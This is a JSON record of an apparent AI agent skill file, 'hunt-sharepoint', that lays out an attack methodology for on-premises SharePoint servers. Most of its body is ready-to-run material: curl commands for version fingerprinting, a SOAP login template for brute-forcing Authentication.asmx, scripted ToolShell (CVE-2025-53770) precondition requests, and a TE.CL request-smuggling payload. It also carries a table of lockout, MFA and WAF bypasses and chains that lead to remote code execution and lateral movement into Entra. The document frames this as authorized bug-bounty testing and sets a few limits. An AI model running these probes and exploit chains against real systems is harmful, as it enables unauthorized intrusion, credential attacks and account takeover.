{"id":"hunt-sharepoint","name":"hunt-sharepoint","summary":"Microsoft SharePoint Server(2013/2016/2019/サブスクリプション版)オンプレミスファームを探す — 匿名エンドポイント列挙、バージョン開示、レガシーSOAPログインバイパス(Authentication.asmx)、ToolShellの事前条件チェーン(CVE-2025-537…","body":"## Crown Jewel Targets\n\nSharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty / red-team work. Three forces converge:\n\n1. **End-of-life unpatched code paths.** SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build `15.0.5545.1000` / KB5002381). Every SharePoint CVE published after that date is **permanently unpatched** on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.\n2. **CVE-2025-53770 / 53771 \"ToolShell\"** — July 2025 emergency-out-of-band patch chain for SPE / SP2019 / SP2016. The vulnerable code path (anonymous `/_layouts/15/ToolPane.aspx?DisplayMode=Edit` + anonymous `__REQUESTDIGEST` + unencrypted ViewState) is present in **SP2013 too** and will never receive a fix.\n3. **Custom branded login pages forget legacy SOAP login.** `/_vti_bin/Authentication.asmx` with the `Login` SOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.\n\n**Highest-value SharePoint targets:**\n\n- **SP2013 farms still on the public internet** — every CVE since April 2023 is unpatched. Critical-severity findings.\n- **Dealer / partner / supplier portals** built on SharePoint by enterprise integrators (German VW group, a enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.\n- **SharePoint farms with anonymous Forms-auth zones** — Authentication.asmx becomes anonymously brute-forceable.\n- **SharePoint inside corporate AD parent forests** — NTLM Type-2 leak (see `hunt-ntlm-info`) discloses the parent forest membership.\n- **Telerik-integrated SharePoint installations** — additional deserialization sinks on top of SP's own.\n\n**Asset types that pay most:** internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.\n\n---\n\n## Attack Surface Signals\n\n**Response-header fingerprints (any one is sufficient — usually multiple co-occur):**\n```\nSPRequestGuid: <GUID>                           (always — anonymous and authenticated)\nX-MS-InvokeApp: 1; RequireReadOnly              (SharePoint web request)\nX-SharePointHealthScore: 0                      (SharePoint specific)\nSPIisLatency: <ms>                              (SharePoint internal timing)\nSPRequestDuration: <ms>                         (SharePoint request duration)\nMicrosoftSharePointTeamServices: 15.0.0.0      (often stripped by ELB — but if present, exact version)\nX-Forms_Based_Auth_Required: <login URL>        (Forms-auth zone indicator)\nX-Forms_Based_Auth_Return_Url: <return URL>     (Forms-auth zone indicator)\nX-MSDAVEXT_Error: 917656; Access denied...      (WebDAV extension active)\nDAV: 1, 2                                       (WebDAV verbs supported)\nSet-Cookie: ASP.NET_SessionId=...               (always — IIS session)\nSet-Cookie: FedAuth=...; rtFa=...               (claims-mode auth)\nSet-Cookie: WSS_FullScreenMode=...              (SharePoint UI mode)\n```\n\n**URL / path fingerprints:**\n```\n/_layouts/15/                  (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)\n/_layouts/14/                  (legacy SP2010 — almost EoL since 2020-10-13)\n/_layouts/16/                  (some SP2019 / SPE)\n/_vti_bin/                     (FrontPage-RPC + SOAP services)\n/_vti_pvt/                     (FrontPage-RPC config — usually 403)\n/_vti_inf.html                 (almost always anonymous; contains FPVersion banner)\n/_api/                         (modern REST API)\n/_api/$metadata                (OData metadata — often anonymous + large)\n/_api/contextinfo              (FormDigest issuer — POST only)\n/_catalogs/                    (site catalogs: masterpage, wp, lt, theme, solutions)\n/_catalogs/users/simple.aspx   (user list — usually 403)\n/_layouts/15/start.aspx        (anonymous landing — leaks version)\n/_layouts/15/ToolPane.aspx     (web part editor — ToolShell sink)\n/_layouts/15/Picker.aspx       (people/list picker — SafeControl recon)\n/_layouts/15/download.aspx     (SP-internal file resolver — NOT outbound SSRF)\n/_layouts/15/Authenticate.aspx (forms-auth redirector)\n/_layouts/15/SignOut.aspx      (logout)\n/_layouts/15/error.aspx        (error page — anonymous)\n/_layouts/15/AccessDenied.aspx (denied page — anonymous)\n/_layouts/15/scriptresx.ashx?culture=en-us&name=core    (resource bundle leak)\n/_layouts/15/<Customer>/       (custom-branding modules — see Methodology step 8)\n/_vti_bin/Authentication.asmx  (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)\n/_vti_bin/SharedAccess.asmx    (often anon-readable)\n/_vti_bin/lists.asmx           (auth-required on hardened farms)\n/_vti_bin/sites.asmx           (auth-required on hardened farms)\n/_vti_bin/sts/                 (Security Token Service — usually 302 to error)\n/sites/<name>/                 (site collections)\n/personal/<user>/              (MySite / OneDrive-for-Business)\n```\n\n**Body signals (in HTML responses):**\n```\n<meta name=\"GENERATOR\" content=\"Microsoft SharePoint\" />\nRegisterSod(\"...\",\"/_layouts/15/...\");                    (Script-on-demand registration)\nvar g_initUrl='';                                          (start.aspx MDS state)\n__REQUESTDIGEST                                            (CSRF token — leaks even to anon if endpoint mis-configured)\n__VIEWSTATEENCRYPTED=\"\"                                    (Sign-only ViewState — see hunt-aspnet)\n\"LibraryVersion\":\"15.0.X.XXXX\"                             (in _api/contextinfo response)\nVersion:15, webPermMasks:{High:0,Low:                      (in start.aspx body)\nHelpWindowKey('WSSEndUser_troubleshooting                  (anonymous error.aspx body)\n```\n\n**Tech-stack signals:**\n- `Server: Microsoft-IIS/10.0` + paths starting with `/_layouts/15/` → SharePoint 2013/2016/2019/SE\n- AWS ELB / ALB in front of SharePoint → cross-node ViewState MAC issues possible (see hunt-aspnet)\n- `WWW-Authenticate: NTLM` on `/_api/web/CurrentUser` → dual-auth (Forms + NTLM); use `hunt-ntlm-info` for AD-topology disclosure\n- `*.test.<customer>.tld` → test/staging mirror of production SharePoint; data often mirrored from prod\n\n---\n\n## Step-by-Step Hunting Methodology\n\n1. **Fingerprint the SharePoint version.** Build number leaks anonymously through several paths. Map the result to the CVE matrix immediately.\n\n   ```bash\n   # Method 1: _vti_inf.html (always anonymous, always present)\n   curl -sk \"https://target.example/_vti_inf.html\"\n   # → FPVersion=\"15.00.0.000\" (15.x = SP2013, 16.x = SP2016/2019/SE)\n\n   # Method 2: _api/contextinfo POST (anonymous on most farms)\n   curl -sk -X POST \"https://target.example/_api/contextinfo\" \\\n     -H \"Accept: application/json;odata=verbose\" \\\n     | jq -r '.d.GetContextWebInformation.LibraryVersion'\n   # → \"15.0.5545.1000\" (full build number)\n\n   # Method 3: /_layouts/15/start.aspx body\n   curl -sk \"https://target.example/_layouts/15/start.aspx\" \\\n     | grep -oE \"15\\.[0-9]+\\.[0-9]+\\.[0-9]+|16\\.[0-9]+\\.[0-9]+\\.[0-9]+\"\n   ```\n\n   **Map to CVE matrix:**\n\n   | Build | Edition | Status | Notable unpatched-after-EoL CVEs |\n   |---|---|---|---|\n   | `15.0.5545.1000` | SP2013 final CU | **EoL 2023-04-11** | CVE-2023-29357, CVE-2023-33160/33157/36941, CVE-2024-21318/30043/38023/38024/38094, CVE-2025-53770/53771, CVE-2025-29794 |\n   | `16.0.10416.x` | SP2016 | EoL 2026-07-14 | depends on patch level |\n   | `16.0.10417.x+` | SP2019 / SE | active | check Microsoft's monthly Patch Tuesday |\n\n2. **Anonymous-endpoint matrix probe.** Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.\n\n   ```\n   /_vti_inf.html                                          → version disclosure\n   /_layouts/15/start.aspx                                 → version disclosure + session minting\n   /_layouts/15/blank.htm                                  → benign anchor for smuggling probes\n   /_layouts/15/error.aspx                                 → request-validator behaviour probe\n   /_layouts/15/Authenticate.aspx?Source=                  → redirect-chain behaviour\n   /_layouts/15/AccessDenied.aspx?Source=                  → redirect-chain behaviour\n   /_layouts/15/SignOut.aspx                               → logout — anonymous OK\n   /_layouts/15/closeConnection.aspx                       → anonymous OK\n   /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings\n   /_layouts/15/scriptresx.ashx?culture=en-us&name=core    → 277KB localised strings\n   /_layouts/15/ToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)\n   /_layouts/15/Picker.aspx                                → SafeControl recon (see step 6)\n   /_layouts/15/<CustomerName>/pages/login/customlogin.aspx    → custom Forms login (replace `<CustomerName>` with target's customer name)\n   /_vti_bin/Authentication.asmx                           → legacy SOAP login — anonymous brute-force (CRITICAL)\n   /_vti_bin/Authentication.asmx?WSDL                      → WSDL — confirms Login + Mode ops\n   /_vti_bin/SharedAccess.asmx                             → often anonymous\n   /_vti_bin/spsdisco.aspx                                 → SP service discovery\n   /_api/contextinfo (POST)                                → anonymous FormDigest mint (HIGH)\n   /_api/$metadata                                         → 381KB API surface enumeration\n   /_api/Search                                            → search service descriptor\n   /_api/web/CurrentUser                                   → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)\n   ```\n\n3. **Legacy SOAP login bypass via Authentication.asmx.** Cross-reference `hunt-auth-bypass` Legacy-Protocol Matrix. The standard probe:\n\n   ```bash\n   # First: confirm Mode = Forms (else this attack vector is N/A)\n   curl -sk -X POST \"https://target.example/_vti_bin/Authentication.asmx\" \\\n     -H \"Content-Type: text/xml; charset=utf-8\" \\\n     -H \"SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode\" \\\n     -d '<?xml version=\"1.0\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><Mode xmlns=\"http://schemas.microsoft.com/sharepoint/soap/\" /></soap:Body></soap:Envelope>'\n   # → <ModeResult>Forms</ModeResult>  ← target is exploitable\n   # → <ModeResult>Windows</ModeResult>  ← target uses Windows auth only; this vector N/A\n\n   # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)\n   # Send 10 bursts at \"burst-test-synthetic-zzz\" with distinct wrong passwords\n   # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface\n   ```\n\n   **Severity:** Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the *unbounded credential validation* is the bug, not \"I cracked X credential.\"\n\n4. **ToolShell precondition chain probe** (CVE-2025-53770 class). Three sub-requests:\n\n   ```bash\n   # Sub-step a: anonymous GET on ToolPane.aspx\n   curl -sk \"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit\"\n   # Body should contain: __REQUESTDIGEST=\"0x...,...\"  AND  __VIEWSTATEENCRYPTED=\"\"\n   # If both: precondition stack is anonymous-reachable.\n\n   # Sub-step b: anonymous POST to /_api/contextinfo\n   curl -sk -X POST \"https://target.example/_api/contextinfo\" \\\n     -H \"Accept: application/json;odata=verbose\" \\\n     | jq -r '.d.GetContextWebInformation.FormDigestValue'\n   # Should return a valid digest with 1800s validity.\n\n   # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest\n   curl -sk -X POST \"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit\" \\\n     -H \"X-RequestDigest: <digest from step b>\" \\\n     --data \"MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none\"\n   # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.\n   ```\n\n   **Severity:** Critical on EoL SP2013 (no patch will ever ship). High on SP2016/2019/SE if `__VIEWSTATEENCRYPTED` is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).\n\n   **IMPORTANT:** Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The `<machineKey>` (ValidationKey/DecryptionKey) is then DUMPED by that web shell and used to forge signed `__VIEWSTATE` for persistent/unauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.\n\n5. **NTLM Type-2 AD topology disclosure.** Cross-reference `hunt-ntlm-info` for full methodology. Quick check:\n\n   ```bash\n   # Use Burp send_http1_request with keep-alive, or Python raw socket\n   # Anonymous Type-1 with NetBIOS-info request flag:\n   #   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==\n   # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name\n   ```\n\n   **Severity:** Medium when chained with internet exposure + default `WIN-XXXXXXXXXXX` hostname; Informational otherwise.\n\n6. **SafeControl enumeration via Picker.aspx.** Picker.aspx differentiates two error states by class existence:\n   - Type EXISTS but not whitelisted: `\"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site.\"`\n   - Type DOES NOT exist: `\"Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'.\"`\n\n   Feed a wordlist of `Microsoft.SharePoint.*.WebControls.*` and `Microsoft.SharePoint.WebPartPages.*` types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.\n\n   ```bash\n   for cls in \\\n     \"Microsoft.SharePoint.WebControls.PeopleEditor\" \\\n     \"Microsoft.SharePoint.WebControls.ItemPicker\" \\\n     \"Microsoft.SharePoint.WebPartPages.DataFormWebPart\" \\\n     ; do\n     curl -sk \"https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' \"$cls\")&typeName=System.String\" \\\n       | grep -oE \"<title>[^<]+</title>\"\n   done\n   ```\n\n7. **`download.aspx` is NOT outbound SSRF — recognize and don't waste time.** SP's `/_layouts/15/download.aspx?SourceUrl=` is an **SP-internal path resolver**, not a generic URL fetcher. Behaviours:\n   - External URL (`http://evil.example.com/x`) → 500 with `\"The Web application at <URL> could not be found\"` — server tried to resolve as an SP web app, didn't fetch.\n   - Same-origin file URL → 500 with `\"<nativehr>0x81070211</nativehr>...Cannot open file '<path>'\"` — server tried SPFile.OpenBinary, file not found.\n   - Files matching the extension blocklist (`.ashx`, `.asmx`, `.svc`, `.config`) → 500 with `\"file blocked from this Web site by the server administrators\"` regardless of whether the file exists.\n   - `file://`, UNC paths, `gopher://`, etc. → 500 with `\"Value does not fall within the expected range\"` — URL-scheme validator rejects.\n\n   **The error-message URL echo is NOT confirmation of SSRF.** Confirm via Burp Collaborator OOB before claiming. (Cross-reference `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.) Verified negative in authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.\n\n   The extension blocklist also looks like a \"file-existence oracle\" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response.\n\n8. **Custom-branding module enumeration.** Customer-customised SP installations almost always have a `/_layouts/15/<CustomerName>/` directory tree. Find the name from the login URL (e.g. `/_layouts/15/<CustomerName>/pages/login/customlogin.aspx` → customer name is `<CustomerName>`). Then probe:\n\n   ```bash\n   for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do\n     curl -sk -o /dev/null -w \"%{http_code} %{size_download}\\n\" \\\n       \"https://target.example/_layouts/15/CustomerName/$sub/\"\n     # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid\n   done\n   ```\n\n   JS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with proper `Referer` header (some are referer-gated).\n\n9. **Search service probe.** `/_api/Search` returns a small JSON descriptor anonymously. `/_api/search/query?querytext='X'` returns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable.\n\n10. **Authenticated post-login surfaces** (if you have valid credentials):\n    - `/_api/web/Lists` — enumerate lists\n    - `/_api/web/SiteUsers` — enumerate users\n    - `/_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files` — file enumeration\n    - `/_layouts/15/people.aspx` — user listing\n    - Custom customer-branded modules — check for IDOR, business logic\n    - Workflow Services (`/_api/SP.WorkflowServices.*`)\n\n---\n\n## Payload & Detection Patterns\n\n**Authentication.asmx Login (the canonical brute-force endpoint):**\n```xml\nPOST /_vti_bin/Authentication.asmx HTTP/1.1\nHost: target.example\nContent-Type: text/xml; charset=utf-8\nSOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login\nContent-Length: 376\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n  <soap:Body>\n    <Login xmlns=\"http://schemas.microsoft.com/sharepoint/soap/\">\n      <username>USERNAME</username>\n      <password>PASSWORD</password>\n    </Login>\n  </soap:Body>\n</soap:Envelope>\n```\nResponse codes:\n- `<ErrorCode>NoError</ErrorCode>` → auth success; `<CookieName>FedAuth</CookieName>` and `<TimeoutSeconds>...</TimeoutSeconds>` follow\n- `<ErrorCode>PasswordNotMatch</ErrorCode>` → auth fail (uniform for non-existent users too — no enum leak via error string)\n- 500 + `<faultstring>Value cannot be null. Parameter name: userName</faultstring>` → empty username\n\n**ToolShell precondition reproduction:**\n```bash\n# Step 1: anon GET ToolPane.aspx\nTP=$(curl -sk \"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit\")\necho \"$TP\" | grep -oE '__VIEWSTATEENCRYPTED\" id=\"__VIEWSTATEENCRYPTED\" value=\"[^\"]*\"'\n# If value=\"\" → precondition\n\n# Step 2: anon FormDigest\nDIGEST=$(curl -sk -X POST \"https://target.example/_api/contextinfo\" \\\n  -H \"Accept: application/json;odata=verbose\" \\\n  | jq -r '.d.GetContextWebInformation.FormDigestValue')\necho \"Digest: ${DIGEST:0:40}...\"\n\n# Step 3: anon POST ToolPane with digest\ncurl -sk -X POST -H \"X-RequestDigest: $DIGEST\" \\\n  --data \"MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none\" \\\n  \"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit\" \\\n  -w \"\\ncode=%{http_code} size=%{size_download}\\n\"\n```\n\n**HTTP TE.CL smuggling on AWS ELB + SP IIS back-end** (consistent on SP farms behind AWS ELB):\n```\nPOST /_layouts/15/blank.htm HTTP/1.1\nHost: target.example\nContent-Length: 4\nTransfer-Encoding: chunked\n\n5c\nGPOST /404 HTTP/1.1\nHost: x\nContent-Length: 15\n\nx=1\n0\n\n```\nExpected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (`Transfer-Encoding : chunked`, `transfer-encoding: chunked`, trailing-space, mixed-case) produce a similar ~6 s hang.\n\n**Picker.aspx SafeControl recon:**\n```bash\ncurl -sk \"https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String\" \\\n  | grep -oE \"<title>[^<]+</title>\"\n# \"Only PickerDialog types...\" = exists, not whitelisted\n# \"Could not load type...\"    = does not exist\n```\n\n---\n\n## Common Root Causes\n\n1. **`/_vti_bin/Authentication.asmx` left enabled on the public-zone IIS binding.** SharePoint admins enable Forms auth on a custom login UI and don't realise the legacy SOAP Login endpoint is independently reachable.\n\n2. **`viewStateEncryption=\"Auto\"` on layouts pages.** SharePoint's default ViewState mode signs-only for pages without sensitive form fields. Pages like ToolPane.aspx have `__VIEWSTATEENCRYPTED=\"\"` — exploitable if machineKey leaks.\n\n3. **`/_api/contextinfo` POST accessible anonymously.** SharePoint Online and SPE 2024-07+ require auth on contextinfo. Earlier versions and most SP2013 farms allow anonymous POST → FormDigest token returned with 1800s validity. This is the second ToolShell precondition.\n\n4. **NTLM enabled on public-zone IIS binding.** Default dual-auth (Forms + NTLM) leaves NTLM Negotiate available to anonymous internet users. Type-2 challenge leaks AD topology.\n\n5. **SP2013 farms past EoL still internet-exposed.** Microsoft extended support ended 2023-04-11. Every post-April-2023 SharePoint CVE is unpatched. Common in enterprise integrator scenarios (system-integrator inside corporate-parent AD, SI-managed dealer portals).\n\n6. **`<SafeControl>` whitelist in web.config trusted as the only gate.** Picker.aspx enforces an `instanceof PickerDialog` check, which is patched against the original CVE-2019-0604 vector — but the underlying SafeControl model itself is anonymously enumerable via the Picker.aspx error differential.\n\n7. **AWS ELB + SP IIS without explicit Transfer-Encoding normalization.** Default ELB forwards `Transfer-Encoding` to back-end IIS; IIS interprets `Content-Length` when both are present in a way that desyncs from ELB. Multiple TE-obfuscation variants bypass simple WAF rules.\n\n8. **Default Windows-installer hostname (`WIN-XXXXXXXXXXX`) never renamed.** Signal of rushed provisioning; correlates with default service-account passwords on SQL backend, default farm-account passwords on Central Admin, etc.\n\n9. **Custom-branding module (`/_layouts/15/<Customer>/`) JS bundles loaded with `?v=YYYYMMDD` query strings.** The query string reveals last-modified date — useful for \"this app is actively maintained\" vs \"this app is abandoned\" determination.\n\n10. **Cross-node ViewState MAC failures when AWS ELB doesn't pin session affinity to one WFE.** Operationally broken (users hit 500s on every POST); security-wise broadcasts farm topology in error messages.\n\n---\n\n## Bypass Techniques\n\n| Defense | Bypass / Recon Strategy |\n|---|---|\n| Branded `customlogin.aspx` with lockout / CAPTCHA / MFA | `/_vti_bin/Authentication.asmx` legacy SOAP — none of those protections apply |\n| `WWW-Authenticate: NTLM` requires authenticated callers | Default IIS `extendedProtection=None` lets you elicit the Type-2 challenge anonymously — see `hunt-ntlm-info` |\n| `MicrosoftSharePointTeamServices` header stripped at ELB | Body of `/_layouts/15/start.aspx` leaks version anyway; also `/_api/contextinfo`'s `LibraryVersion` |\n| `/_vti_bin/lists.asmx` 403 (SharedAccess.asmx / Authentication.asmx still open) | Different services have different ACLs; enumerate all asmx separately |\n| `/_api/web/CurrentUser` 401 with stack-trace JSON | Stack traces leak even on auth-deny responses; combine with version disclosure |\n| Anonymous `__REQUESTDIGEST` issued (ToolShell precondition) | Pair with anonymous ToolPane POST + unencrypted ViewState; the deserialization sink yields RCE without machineKey — machineKey is then dumped by the shell for persistent re-exploitation |\n| Custom error pages set | Trigger different code paths (XML-shaped ViewState → dual-parser error differential — see `hunt-aspnet`) |\n| WAF blocks `<` in query | Move payload to Cookie / Referer / SOAP body — request validator doesn't reach those contexts |\n| `Microsoft.SharePoint.WebPartPages.DataFormWebPart` blocked via SafeControl patch | Enumerate SafeControl list; find a subclass that bypasses the inheritance gate |\n| HTTP/2 H2.CL smuggling | AWS ALBs often don't advertise `h2` ALPN — close that family early via `openssl s_client -alpn h2,http/1.1` |\n| Authenticate.aspx wraps `Source=` in ReturnUrl | Test post-auth behavior with valid creds; pre-auth chain wraps everything safely |\n\n---\n\n## Gate 0 Validation\n\nBefore writing the report:\n\n1. **What can the attacker DO right now?**\n   - Authentication.asmx anonymous + no rate limit → **Critical** (unbounded credential validation; password spray + UPN format from NTLM = end-to-end ATO path)\n   - Full ToolShell precondition chain (anon GET + anon FormDigest + anon POST + unencrypted VS) + EoL SP2013 → **Critical** (RCE via well-documented public exploit chain, no patch will ship)\n   - NTLM Type-2 AD topology disclosure + default-Windows hostname → **Medium**\n   - SP2013 EoL alone → **Medium-Low** (compliance / hygiene; bug-bounty programs vary — some accept, many reject)\n   - `download.aspx` URL echo without confirmed Collaborator callback → **NOT SSRF — retract**\n\n2. **Have you reproduced the full chain to attacker-attainable impact?**\n   - For Authentication.asmx: 10-burst test with uniform timing (proves no rate limit) is sufficient. Don't actually crack a credential.\n   - For ToolShell: precondition chain (steps a+b+c) is sufficient. Don't deliver a malicious payload.\n   - For NTLM: AV-pair decode showing AD-topology fields is sufficient.\n\n3. **Can you reproduce in <10 minutes from a clean shell?**\n   - Authentication.asmx: 2 curl commands.\n   - ToolShell precondition: 3 curl commands.\n   - NTLM Type-2: 1 Python snippet (the AV-pair decoder).\n\n---\n\n## Real Impact Examples\n\n### Scenario A — a authorized SharePoint engagement against an EoL on-prem farm\n\nTarget: `https://target-portal.example/` — SharePoint Server 2013 build `15.0.5545.1000` (KB5002381 / final EoL April 2023 CU). Tenant = a system-integrator tenant (Swiss <ParentCorp> importer) inside a corporate global AD (`customer.parent-corp.example`). Server hostname `WIN-XXXXXXXXXXX` (default Windows installer pattern).\n\n11 findings shipped: 3 Critical, 2 Medium, 6 Low/Info. The three Criticals:\n\n1. **Authentication.asmx anonymous credential brute-force** — 10-burst test showed uniform 0.6-0.9 s timing with no rate limit, no lockout, no CAPTCHA, no MFA challenge. Identical 431-byte responses.\n2. **HTTP request smuggling TE.CL** — 5/5 trials showed 12.18 s back-end hang vs 0.16 s baseline. 4 additional obfuscation variants (space-before-colon, trailing-space, lowercase, mixed-case) showed 6.16 s hang — each bypassing simple WAF rules.\n3. **ToolShell precondition chain** — anonymous GET ToolPane.aspx (200) + anonymous POST `/_api/contextinfo` (200, valid FormDigest) + anonymous POST ToolPane.aspx with digest (200, no auth challenge) + `__VIEWSTATEENCRYPTED=\"\"`. Permanent zero-day on EoL SP2013.\n\nPlus Medium-tier: NTLM Type-2 disclosure of full AD topology (`customer.parent-corp.example`, `WIN-XXXXXXXXXXX`); SP2013 EoL exposure.\n\n### Scenario B — `/_layouts/15/download.aspx?SourceUrl=` recognized correctly as NOT-SSRF (saved-time example)\n\nSame target. Initial scan flagged `download.aspx?SourceUrl=http://oob.example.com/` as SSRF because the server echoed the URL in the 500 error title (`\"The Web application at http://oob.example.com/ could not be found\"`). 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero DNS/HTTP callbacks. Conclusion: `download.aspx` is an SP-internal `SPWebApplication` / `SPFile` resolver, NOT a generic URL fetcher. The \"echo\" is server-side error-string formatting. Saved from reporting an N/A finding by following the `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.\n\n### Scenario C — CVE-2019-0604 patch verification via Picker.aspx\n\nSame target. Feeding `Microsoft.SharePoint.WebPartPages.DataFormWebPart` (the canonical CVE-2019-0604 deserialization gadget) to Picker.aspx returned `\"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site.\"` — meaning the type EXISTS and is reachable through reflection, but the dialog framework's `instanceof PickerDialog` patch correctly rejects it. The patch IS in place for the original CVE-2019-0604 vector. The class-existence enumeration itself becomes recon for any future CVE-2019-0604-family chain that doesn't go through the inheritance gate.\n\n---\n\n## Cross-references\n\n- **Authentication.asmx legacy SOAP login** → see `hunt-auth-bypass` Legacy-Protocol Matrix for the WordPress-XMLRPC equivalent pattern.\n- **NTLM Type-2 AD-topology disclosure** → see `hunt-ntlm-info` for AV-pair decoder + severity rubric.\n- **ViewState dual-parser anti-pattern, machineKey recovery, request validator bypass** → see `hunt-aspnet`.\n- **HTTP request smuggling on AWS ELB + IIS** → see `hunt-http-smuggling`.\n- **OOB confirmation of any SSRF claim on SP** → see `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.\n- **Engagement-type confirmation before treating hygiene findings as bug-bounty submissions** → see `bb-methodology` PART 0 Mode-Confirmation Gate.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-auth-bypass`** — Legacy SOAP `/_vti_bin/Authentication.asmx` accepts anonymous Login calls on misconfigured farms. Chain primitive: SharePoint anon SOAP login probe → if response yields cookie or success differential → `hunt-auth-bypass` brute-force matrix (username enumeration via timing, password spray with low-and-slow against the same SOAP endpoint that bypasses ADFS-level lockout) → valid cred → `/_layouts/15/` authenticated surface.\n- **`hunt-ntlm-info`** — Every SharePoint farm advertises `WWW-Authenticate: NTLM` anonymously on `/_vti_bin/`. Chain primitive: SharePoint NTLM Type-2 challenge capture → `hunt-ntlm-info` AV_PAIR decode yields NetBIOS domain + internal DNS forest + DC hostname → feed domain into `m365-entra-attack` ROPC user-enumeration spray on tenant tied to that domain.\n- **`hunt-aspnet`** — SharePoint is ASP.NET Webforms under the covers; ViewState, machineKey, and SafeControl reflection all apply. Chain primitive: SharePoint version disclosure → confirm patch level missing → `hunt-aspnet` ViewState dual-parser MAC-bypass → deserialization gadget → RCE in `w3wp.exe` as farm account.\n- **`hunt-rce`** — ToolShell precondition chain (CVE-2025-53770) is the current high-impact SP RCE path. Chain primitive: ToolShell preconditions met (`/_layouts/15/ToolPane.aspx?DisplayMode=Edit` reachable via the CVE-2025-49706 auth bypass — a crafted `Referer` header pointing at ToolPane.aspx — + version vulnerable) → `hunt-rce` deserialization gadget chain → SYSTEM/farm-account shell → `m365-entra-attack` lateral via stolen on-prem service-account token to Entra-synced identity.\n- **`triage-validation`** — SharePoint farms generate a lot of \"looks like a finding\" hygiene noise (FormDigest issuance, version disclosure, extension blocklist quirks). Chain primitive: run every SP finding through the 7-Question Gate before reporting — most version-disclosure-only findings die at \"is this actually exploitable on this farm\" without a paired CVE PoC.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-sharepoint","license":"MIT","category":"coding","lang":"en","tokens":7886,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["evil.example.com","oob.example.com","schemas.microsoft.com","schemas.xmlsoap.org","target-portal.example","target.example"]}}